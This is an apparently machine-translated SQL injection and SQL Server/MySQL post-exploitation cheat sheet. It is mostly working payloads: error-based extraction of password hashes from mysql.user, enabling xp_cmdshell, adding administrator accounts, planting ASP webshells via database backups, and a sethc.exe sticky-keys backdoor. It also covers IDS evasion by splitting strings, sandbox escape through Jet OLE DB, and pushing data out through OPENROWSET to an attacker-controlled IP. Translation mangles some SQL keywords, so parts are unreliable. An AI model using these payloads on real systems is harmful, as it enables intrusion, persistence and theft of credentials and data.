Щоб пройти каталог: спочатку створіть тимчасову таблицю: temp ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; вставити тимчасовий exec master.dbo.xp_blank>_availablemedia; – Отримати всі поточні диски ; вставити у temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Отримати список підкаталогів ; вставити у temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Отримати структуру дерева каталогів для всіх підкаталогів,
З'єднайте дюйми з температурною таблицею ; Вставити в temp(id) exec master.dbo.xp_blank>_cmdshell ввести C:\web\index.asp; – Переглянути файл
Зміст ; вставити у temp(id) exec master.dbo.xp_blank>_cmdshell директора C:\; – ; вставити у temp(id) exec master.dbo.xp_blank>_cmdshell директора c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; вставити у temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Відповідні повноваження
ПУБЛІЧНО) Запишіть на таблицю: оператор 1: і 1=(Вибрати IS_blank>_SRVROLEMEMBER(sysadmin)); – Оператор 2: і 1=(Виберіть IS_blank>_SRVROLEMEMBER(serveradmin)); – Твердження 3: та 1=(Виберіть IS_blank>_SRVROLEMEMBER(setupadmin)); – Оператор 4: і 1=(Виберіть IS_blank>_SRVROLEMEMBER(securityadmin)); – Твердження 5: і 1=(Виберіть IS_blank>_SRVROLEMEMBER(securityadmin)); – Оператор 6: і 1=(Виберіть IS_blank>_SRVROLEMEMBER(diskadmin)); – Твердження 7: і 1=(Виберіть IS_blank>_SRVROLEMEMBER(bulkadmin)); – Твердження 8: і 1=(Вибрати IS_blank>_SRVROLEMEMBER(bulkadmin)); – Твердження 9: і 1=(Вибрати IS_blank>_MEMBER(db_blank>_owner)); –
Запишіть шлях до таблиці: ; Create table dirs(Paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree c:\– та 0<>(вибрати топ-1 шлях із директорів)– та 0<>(виберіть топ-1 шляхи з директорів, де шляхи не входять (@Inetpub))– ; Створити таблицю dirs1(Paths varchar(100), id int)– ; Insert dirs exec master.dbo.xp_blank>_dirtree e:\web– та 0<>(виберіть топ-1 шлях із dirs1)–
Резервне копіювання _blank> бази даних у веб-каталог: Завантажити ; оголосити @a системне ім'я; множина @a=db_blank>_name(); Резервне копіювання бази даних @a у disk=e:\web\down.bak; –
та 1=(Виберіть топ-1 ім'я з(Виберіть top 12 id, ім'я з sysobjects, де xtype=char(85)) T
Порядок за id desc) та 1=(Вибрати Топ 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) з sysobjects) Див. також
Пов'язані таблиці. та 1=(вибрати user_blank>_id з USER_blank>_LOGIN) та 0=(виберіть користувача з USER_blank>_LOGIN, де user>1)
-=- Приклад WSCRIP{Filter}T.shell -=- оголосити @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out виконавчий sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
оголосити @o int, @f int, @t int @ret int Оголосити @line Вархар (8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, opentextfile, @f кінець, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out поки ( @ret = 0 ) Почніть Друк @line exec @ret = sp_blank>_oamethod @f, readline, @line out кінець
оголосити @o int, @f int, @t int @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out Exec sp_blank>_oamethod @o, CreateTextfile, @f вийти, C:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") %>
оголосити @o int, @ret int Виконавчий sp_blank>_oacreate speech.voicetext, @o виходить. exec sp_blank>_oamethod @o, register, NULL, foo, bar Exec sp_blank>_oasetproperty @o, швидкість, 150 виконавчий sp_blank>_oamethod @o, говори, NULL, всі твої сервери сиквелів належать us, 528 Чекати затримку 00:00:05
; Оголосити @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, реєстр, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, говори, NULL, всі ваші сервери сиквелів належать нам, 528 зачекайте затримки
00:00:05–
xp_blank>_dirtree відповідний ПУБЛІЧНИЙ дозвіл exec master.dbo.xp_blank>_dirtree c: Повернена інформація має два поля: підкаталог, глибина. Поля підкаталогів
Тип символу, глибинне поле — це поле формування. Create table dirs(Paths varchar(100), id int) Побудова таблиці, створена тут, пов'язана з наведеним вище xp_blank>_dirtree, має однакові поля і однаковий тип. insert dirs exec master.dbo.xp_blank>_dirtree c: Поки ми створюємо таблицю і однаково визначаємо поля, повернені процесом зберігання
Виконайте! Щоб досягти ефекту написання таблиць, крок за кроком до отримання потрібної нам інформації! Ця ін'єкція помилки головним чином базується на переповненні типів даних Mysql mysql > SELECT 18446744073709551610 * 2 ; ПОМИЛКА 1690 (2003): BIGINT Незнакове значення знаходиться поза межами дії в '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; ПОМИЛКА 1690 (22003): BIGINT Незнакове значення поза межами дії в '(- (1) *
9223372036854775808)' Версія бази запитів: mysql> SELECT * 2 (якщо ((SELECT * з (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610)); ПОМИЛКА 1690 (22003): BIGINT Незнакове значення знаходиться поза діапазоном у '(2 * якщо (( Вибрати ' 5.5 ' від
Dual), 18446744073709551610.18446744073709551610))' Дізнайтеся назву поля: mysql> SELECT 2 * if((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * з
test.shop обмеження 1), 18446744073709551610, 18446744073709551610);
ПОМИЛКА 1690 (22003): BIGINT НЕЗНАКОВЕ значення поза діапазоном у '(2 * if(select
'article', 'dealer', 'price' з (виберіть 'test'.'shop'.'article' AS
'article','test'.'shop'.'dealer' AS 'dealer','test'.'shop'.'price' AS 'price'
'тест'.'магазин') обмеження 1) > (вибрати
'тест'.'магазин'.'товар','тест'.'магазин'.'дилер','тест'.'магазин'.'ціна' від 'тест'.'магазин'
1)),18446744073709551610,18446744073709551610))' Отримайте значення поля:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) як '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
ПОМИЛКА 1690 (22003): BIGINT НЕЗНАКОВЕ значення поза діапазоном у '(2 * if(select
'місцевий ведучий', 'root','*','Y','Y','Y','Y','Y,'Y','Y,''
Y','Y','Y','Y','Y','Y',''Y,','0,'0,0',','' ВІД DUAL LIMIT 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Зверніть увагу, що цей метод не працює зі старими версіями Mysql, і вам потрібно знати обмеження довжини повідомлення про помилку, оскільки це визначатиме
Ви можете отримати стільки, скільки захочете: mysys / my_error.c
/* Максимальна довжина повідомлення про помилку. Має бути синхронізовано з MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Якщо об'єкт — MariaDB (форк Mysql), ви можете побачити таке повідомлення про помилку, коли спробуєте наведений вище метод:
mysql> ВИБРАТИ 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) ПОМИЛКА 1690 (22003): BIGINT Незнакове значення поза межами дії в '(2 * if((select
#),18446744073709551610,18446744073709551610))'
Як розв'язок, цю проблему можна розв'язати таким чином:
mysql> SELECT (i НЕ Є NULL) - -9223372036854775808 З (SELECT (version())i)a; ПОМИЛКА 1690 (22003): Значення BIGINT виходить за межі діапазону в '(('5.5-MariaDB' не є null) - -
(9223372036854775808))' Тепер подивимось, чи зможемо зробити наш Вектор трохи коротшим
//查询数据库版本
ВИБЕРІТЬ 2*(if((SELECT * з (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) = виберіть 1E308*if((select*from(select version())x),2,2)
SELECT (i НЕ Є NULL) - -9223372036854775808 З (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * if((SELECT * from (select * from test.shop) як '' limit 1)>(SELECT * з
test.shop ліміт 1), 18446744073709551610, 18446744073709551610) = виберіть 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) як '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 виберіть 1E308*if((вибрати користувача|| ведучий|| пароль|| file_priv from(select*from mysql.user LIMIT
1) обмеження 1),2,2)
//获取字段个数
Виберіть 1E308*if((вибір*з mysql.user limit 1)>(вибрати 1),2,2)
Деякі інші деформації
SELECT (i НЕ Є NULL) - -9223372036854775808 З (SELECT (version())i)a виберіть 1E308*if((вибрати користувача|| ведучий|| пароль|| file_priv from(select*from mysql.user LIMIT
1) обмеження 1),2,2); => виберіть 2*if((виберіть користувача|хост|пароль|file_priv from(select*from mysql.user LIMIT 1)обмеження
1),1e308,0); mysql> Select (Select * з mysql.user)=1; mysql> Select (Select * from mysql.user)in(1);
ПОМИЛКА 1241 (21000): Операнд повинен містити 42 стовпці виберіть 2*if((виберіть користувача|хост|пароль|file_priv from(select*from mysql.user LIMIT 1)обмеження
1),1e308,0); Виберіть якщо((виберіть користувача|| ведучий|| пароль|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i НЕ Є NULL) - -9223372036854775808 З (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; ПОМИЛКА 1690 (22003): BIGINT Незнакове значення знаходиться поза діапазоном у '((not('root@localhost')) - ~
(0))' 3. Оцінюйте систему баз даних ; та (вибрати count(*) з sysobjects)>0 mssql ; та (вибрати count(*) з msysobjects)>0 доступу 4. Параметр ін'єкції — це символ 'та [критерії запиту] та ''=' 5. Під час пошуку немає відфільтрованих параметрів 'та [критерії запиту] та '%25'=' 6. Вгадай базу даних ; та (вибрати Count(*) з [ім'я бази даних])>0 7. Вгадай поле ; та (вибрати Count (ім'я поля) з назви бази даних)>0 8. Вгадайте тривалість рекорду в полі ; та (вибрати топ-1 LEN (ім'я поля) з назви бази даних)>0 9. (1) Вгадайте ASCII-значення поля (access) ; та (вибрати топ-1 ASC (півполе (ім'я поля, 1,1)) з назви бази даних)>0 (2) Вгадайте ASCII-значення поля (mssql) ; та (вибрати топ-1 Unicode(підрядок(ім'я поля, 1,1)) з назви бази даних)>0 10. Структура дозволу на тестування (mssql) ; та 1=(вибрати IS_SRVROLEMEMBER('sysadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('serveradmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('setupadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('securityadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('diskadmin')); -- ; та 1=(вибрати IS_SRVROLEMEMBER('bulkadmin')); -- ; та 1=(вибрати IS_MEMBER('db_owner')); -- 11. Додайте обліковий запис для mssql та системи ; виконавчий master.dbo.sp_addlogin ім'я користувача; -- ; exec master.dbo.sp_password null, ім'я користувача, пароль; -- ; exec master.dbo.sp_addsrvrolemember ім'я користувача sysadmin; -- ; exec master.dbo.xp_cmdshell 'net username password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 'net user username password /add'; -- ; Exec master.dbo.xp_cmdshell 'Net Localgroup Administrators Username /add'; -- 12. (1) Перегляньте каталог ; Create table dirs(Paths varchar(100), id int) ; вставити директори exec master.dbo.xp_dirtree 'c:\' ; та (вибрати топ-1 шлях із директорів)>0 ; та (виберіть верхній 1 шлях із DIRS, де шляхи не входять ('шляхи, отримані з попереднього кроку'))>) (2) Перегляд каталогу ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; вставити тимчасовий виконавчий master.dbo.xp_availablemedia; -- Візьми всі поточні диски ; вставити у temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Отримати список підкаталогів ; вставити у temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Отримати структуру дерева каталогів для всіх підкаталогів ; Вставити у temp(id) exec master.dbo.xp_cmdshell 'ввести C:\web\index.asp'; -- Переглянути вміст файлу 13. Збережені процедури в mssql xp_regenumvalues Кореневий ключ реєстру, дочірній ключ ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' та інші
Метод Recordset для повернення всіх значень ключів xp_regread Кореневий ключ, дочірній ключ, ім'я значення ключа ; виконавчий xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' повертає значення ключа формулювання xp_regwrite Кореневий ключ, дочірній ключ, ім'я значення, тип значення, значення Існує два типи значень: REG_SZ REG_DWORD для типів символів і для цілих чисел ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' записуються до реєстру xp_regdeletevalue Кореневий ключ, підключ, ім'я значення виконавчий xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' для видалення значення xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' видалити клавішу,
Включити всі значення під цим ключем 14. Резервне копіювання MSSQL створює вебшелл Модель використання створити таблицю cmd (зображення str); вставити у значення cmd(str) ('<% Dim oscrip{filter}t %>'); резервне копіювання моделі бази даних на disk='c:\l.asp'; 15. Вбудовані функції MSSQL ; та (виберіть @@version)>0, щоб отримати номер версії Windows ; та user_name()='dbo' для визначення, чи є підключений користувач поточної системи SA ; та (вибрати user_name())>0 Вибухнули підключених користувачів поточної системи ; та (виберіть db_name())>0, щоб отримати поточну підключену базу даних 16. Коротка павутина Модель використання створити таблицю cmd (зображення str); Вставити у значення cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); резервне копіювання моделі бази даних на disk='g:\wwwtest\l.asp'; Під час запиту використовуйте щось на кшталт цього:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Отримайте всі імена баз даних, включаючи системні бази даних –ВИБРАТИ ім'я з master.dbo.sysdatabases
– Отримати всі несистемні назви баз даних –вибрати [name] з master.dbo.sysdatabases, де DBId>6 Порядок за [Name]
– Отримайте всю інформацію, включно з адресою файлу бази даних –вибрати * з master.dbo.sysdatabases, де DBId>6 Порядок за
[Ім'я]
Цей запит до оператора повертає всі таблиці користувачів
Виберіть * із sysobjects, де xtype='U'
Запит у всій інформації таблиці даних у системі
вибрати * з sysobjects
Подивіться на назву машини Вибрати * з sys.servers
Зміст колонки Виконавчий master.dbo.xp_subdirs 'C:\'
виконавчий master.dbo.xp_dirtree 'c:',1,1 db_owner Дозволи можна застосовувати
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Програмний код, написаний у webshell
виконавчий master.dbo.xp_subdirs 'D:\web\www.xx.com'; Виконавчий sp_makewebtask 'д:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Страти, Майстре... xp_enumgroups
Користувачі системи Traverse
Страти, Майстре... xp_getnetname Отримайте поточну назву машини
--Вкажіть фіксовані диски на сервері разом із доступним місцем для кожного диска DBO Public
Виконати
xp_ntsec_enumdomains
-- Створіть обліковий запис для входу в MSSQL виконавчий master.dbo.sp_addlogin ім'я — пропуск; --
-- Вказати доменне ім'я сервера xp_ntsec_enumdomains // Ім'я машини //dbo public
-- Зупиніть або розпочніть сервіс xp_servicecontrol 'stop', 'schedule' //schedule — це назва сервісу //dbo
--Використовуйте PID
Зупинити виконувану програму xp_terminate_process 123 //123 — це PID //dbo
-- У довіднику перелічені лише підкаталоги dbo.xp_subdirs 'C:' //dbo
SQL Server Метод відкриття xp_cmdshell у 2005 році EXEC sp_configure 'показати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; EXEC
sp_configure 'xp_cmdshell', 1; ПЕРЕКОНФІГУРУВАТИ;
SQL2005 Відкрити 'OPENROWSET' Підтримувані методи: виконавчий sp_configure 'показувати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; виконавчий sp_configure 'Ad Hoc
Розподілені запити,1; ПЕРЕКОНФІГУРУВАТИ;
SQL2005 увімкнути підтримку 'sp_oacreate': виконавчий sp_configure 'показувати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; Виконавчий
sp_configure «Процедури старої автоматизації», 1; ПЕРЕНАЛАШТУВАННЯ
Як увімкнути xp_cmdshell в SQL Server 2008
-- Щоб дозволити змінювати розширені опції. EXEC
sp_configure 'показати розширені опції', 1 ІДИ -- Для оновлення налаштованого значення для
Розширені варіанти. ПЕРЕНАЛАШТУВАННЯ ІДИ -- Щоб увімкнути функцію. EXEC sp_configure 'xp_cmdshell', 1 ІДИ -- До
Оновіть поточне налаштоване значення для цієї функції. ПЕРЕНАЛАШТУВАННЯ ІДИ
exec xp_cmdshell 'ipconfig'
Сьогодні я хотів змінити пароль SA сервера бази даних, але раптом забув, тому довелося відкрити аналізатор запитів за допомогою інших акаунтів, щоб змінити пароль SA
Все дуже просто:
Виконання: sp_password Null, 'teracypwd, 'sa' Встановіть пароль SA на "teracypwd"
Після успішної страти
Є «Команд(и) успішно виконані». ГАРАЗД!
У дозвіл бази даних розділіть метод отримання IP сервера бази даних MSSQL
1. Локальний NC слухає NC -VVLP 80
2.; вставити у
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Мережа=DBMSSOCN; Адреса=ваша IP, 80; ', 'вибрати * з
dest_table') вибрати * з src_table; --
вибрати * з openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','вибрати користувача; ')
Імпорт і експорт бази даних
/*不同服务器数据库之间的数据操作*/
--Створити сервер посилань Виконавчий sp_addlinkedserver
'ITSV', 'SQLOLEDB', 'Ім'я або IP-адреса віддаленого сервера' виконавчий sp_addlinkedsrvlogin 'ITSV', 'неправда
',null, 'ім'я користувача', 'пароль'
--приклад запиту вибрати * з назви ITSV.database name.dbo.table
--приклад імпорту вибрати *
у таблиці з ITSV.databasename.dbo.tablename
--Видалити пов'язаний сервер, якщо він більше не буде використовуватися в майбутньому виконавчий sp_dropserver 'ITSV',
'droplogin'
-- Підключення до віддалених/локальних даних (openrowset/openquery/opendatasource) --1、openrowset
--приклад запиту вибрати *
з openrowset( 'SQLOLEDB ', 'ім'я sql сервера'; «Ім'я користувача»; 'password', назва бази даних.dbo.table name)
-- Згенерувати локальну таблицю виберіть * у таблицю з openrowset( 'SQLOLEDB ', 'ім'я sql сервера'; «Ім'я користувача»; «Пароль», номер
Згідно з назвою бази даних.dbo. table name)
-- Імпортуйте локальну таблицю у віддалену таблицю вставити openrowset( 'SQLOLEDB', 'ім'я сервера sql'; «Ім'я користувача»; «Паролі», бази даних
name.dbo.table name) Вибрати *з локальної таблиці
-- Оновити локальні таблиці Оновлення B множина b. стовпець A = a з openrowset( 'SQLOLEDB ', 'ім'я sql сервера'; «Ім'я користувача»; '
пароль ', ім'я бази даних .dbo.table name) як внутрішню локальну таблицю join b на a.column1=b.column1
--openquery Використання вимагає створення з'єднання
--Спочатку створіть з'єднання для створення сервера посилань виконавчий sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'ім'я або IP-адреса віддаленого сервера' --Запитай вибрати * З OPENQUERY(ITSV, 'SELECT * FROM data
library.dbo.table name ') -- Імпортуйте локальну таблицю у віддалену таблицю вставити openquery(ITSV, 'ВИБРАТИ * З назви database.dbo.table') Вибрати * з локального
Таблиця --оновити локальну таблицю Оновлення B множина b. стовпець B=a З openquery(ITSV, 'ВИБРАТИ * З database.dbo.tablename')
Як внутрішня локальна таблиця b на a. стовпець A=b. стовпець A
--3、opendatasource/openrowset SELECT * ВІД
opendatasource( 'SQLOLEDB', 'Data Source=ip/ServerName; User ID=Ім'я входу; Пароль=Пароль '
).test.dbo.roy_ta -- Імпортуйте локальну таблицю у віддалену таблицю
Видалення та відновлення xp_cmdshell
Способи відновлення xp_cmdshell Видалити розширену збережену процедуру xp_cmdshell
Твердження Виконавчий sp_dropextendedproc 'xp_cmdshell'
Відновити sql-оператор cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Виконавчий
master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; виберіть count(*) з
master.dbo.sysobjects, де xtype='x' та Результат повернення — 1, і це нормально
Інакше потрібно завантажити c:\inetput\web
\xplog70.dll пізніше Виконавчий master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Якщо видалити його наступним способом Процедура скидання sp_addextendedproc Процедура скидання sp_oacreate Виконавчий
sp_dropextendedproc 'xp_cmdshell'
Ви можете відновити його за допомогою наступної заяви DBCC addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
Таким чином, його можна відновити безпосередньо, незалежно від того, чи існує sp_addextendedproc чи ні
1、 Використовуйте xp_cmdshell: exec master.dbo.xp_cmdshell "net user admin admin /add" Виконавчий
master.dbo.xp_cmdshell "адміністратори локальної мережі адміністратори /add"
У xp_cmdshell випадку використовуйте sp_oacreate, щоб слідувати sp_oamethod: оголосити @object інтелект Виконавчий
sp_oacreate 'wscrip{filter}t.Shell', @object вийшов Виконавчий sp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object,'Run',NULL,'net
адміністратори локальної групи admin /add'
Примітка: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Використовуйте sp_oacreate і FSO оголосити @o int Виконавчий sp_oacreate
'scrip{filter}ting.filesystemobject', @o exec sp_oamethod @o, 'копіювати файл', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; оголосити @oo int Виконавчий
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out Виконавчий sp_oamethod @oo,
'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Використовуйте xp_regwrite (db_owner, потрібне перезавантаження): Виконавчий master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion \
run','eadd1','reg_sz','net user admin admin /add' Виконавчий master.dbo.xp_regwrite
'hkey_local_machine','software\microsoft\windows\currentversion \
run','eadd2','reg_sz','net localgroup admin /add' 5. Використовуйте sp_add_job: Виконавчий
master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' Використовуйте MSDB exec sp_delete_job
нуль, 'x' Виконавчий sp_add_job 'X' Виконавчий sp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' Виконавчий sp_add_jobserver
Null, 'x', @@servername виконавчий sp_start_job 'x'
Багато SA досягли успіху на багатьох машинах безпосередньо з режимом пісочниці, але я ніколи не практикував це і не знаю, який у них відсоток успіху. Коли розширення видаляється, спочатку
Відновіть сховище для читання та запису в реєстрі. DBCC AddExtendedProc ('xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Виправлено захищений режим пісочниці Виконавчий майстер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
Перевірте, чи значення 'SandBoxMode' стало 0.
виконавчий master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Нарешті, викликайте режим пісочниці Виберіть * з OpenRowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Якщо режим захисту пісочниці не «вимкнений», повідомляється про помилку: Офіціант: Msg 7357, Рівень 16, Стан 2, Лінія 1
Не вдалося обробити об'єкт 'select shell("cmd.exe /c net user passwd /add")'. OLE DB надає програми
Передмова 'microsoft.jet.oledb.4.0' вказує, що в об'єкті немає стовпців.
Відстеження помилок OLE DB [Помилка не інтерфейсу: провайдер OLE DB не може обробити об'єкт, оскільки об'єкт
має nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add")']。
2、 Якщо .mdb не існує або шлях введення неправильний Сервер: Msg 7399, Рівень 16, Стан 1, Лінія 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [Відповідь від провайдера OLE/DB:
Файл 'C:\WINDOWS\system32\ias\dnary1.mdb' не знайдено. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize return
0x80004005: ]。
3. Якщо під час процесу введення з'являється більше пробілів, також буде зафіксовано помилку. Зверніть на це особливу увагу, багато людей безпосередньо шукають статті в інтернеті
Вставте це і виконайте. Офіціант: Msg 7357, Рівень 16, Стан 2, Лінія 1 Не вдалося обробити об'єкт 'select'
shell("cmd.exe /c net user passwd /add")'。 Провайдер OLE DB 'microsoft.jet.oledb.4.0' вказує, що в об'єкті немає стовпців.
Відстеження помилок OLE DB [Помилка без інтерфейсу: Провайдер OLE DB не може обробити об'єкт, оскільки об'єкт має
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Якщо дозволи MDB і cmd.exe неправильно виявляються, проблема також виникає. Коли дозволи MDB неправильні, Сервер: Вилучити
Відсотки 7320, рівень 16, штат 2, рядок 1
Він не міг відповісти. OLE DB provider 'Microsoft.Jet.OLEDB.4.0' виконує запит. [Провайдер OLE/DB повернувся
message: 未知] Trace помилок OLE DB [OLE/DB provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. Якщо net дозвіл неправильний, підказки немає.
Останній спосіб підвищити авторитет — завантажити ias.mdb та cmd.exe системи під поточний веб-каталог net.exe три файли.
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
("E:\web\cmd.exe /c E:\web\net.exe користувач passwd /add")') Успішно додайте користувача комп'ютера.
Розділення cmdshell обходить IDS Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' оголошувати
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
Редагування: перехоплення реєстру Виконавчий майстер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT
\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
Запит до сервера посилань Виберіть
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers Виберіть
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess from master.dbo.sysservers
Запит linkserver2 виберіть окреме ім'я хоста,db_name(dbid),net_address,loginame,program_name з
Майстре... sysprocesses
Запит до сервера посилань та інших зареєстрованих користувачів вибрати * з [192.168.1.1].master.dbo.syslogins
Сервер посилань запитів Всі бази даних select * з linkedSrvWeb.master.dbo.sysdatabases
Виконати розширене зберігання на LinkServer exec [ip].master.dbo.xp_cmdshell
Запит до всіх таблиць на лінксервері Виберіть * з [ip].master.dbo.sysobjects
вибрати * з openrowset
('sqloledb','server=IP; uid=користувач; pwd=пароль','вибрати @@version')
вибрати * з openquery([LINKSERVER)
ім'я],'виберіть @@version')
select * з openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin''')')
вибрати * з openquery(GM_SERVER,'select * з sysobjects, де xtype = (''U'')')
вибрати * з
openquery(NDOORS,'Вибрати IS_MEMBER(''db_owner'')')
Вибрати * з OpenQuery(toatdeWeb,'select
srvname з master.dbo.sysservers')
Вставити в opendatasource
('sqloledb','server=222.241.95.12; uid=SCD; pwd=a123520; database=hack520').hack520.dbo.zhu Select
Ім'я з master.dbo.sysdatabases Створити базу даних hack520 Створити ТАБЛИЦЮ zhu(ім'я nvarchar(256)
null); Створити ТАБЛИЦЮ J8(id int NULL, ім'я nvarchar(256) null);
Select * з openQuery
(toatdeweb,'вимкніть FMTonly master.dbo.xp_cmdshell ''net user''')
Виконавчий майстер... xp_dirtree
'c:\',1,1 Виконати каталог запитів
exec links.master.. xp_cmdshell 'ipconfig'
Вибрати * з OpenQuery(toatdeweb,'set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Підключіть mysql Select * від Mem_DB. UserDB.dbo.AdminList
ВИКОНАВЧИЙ МАЙСТЕР.. XP_dirtree 'c:\',1,1
Виконавчий директор
master.dbo.xp_cmdshell 'dir'
Виберіть count(*) з [indicate] Запит, скільки даних у поточній таблиці
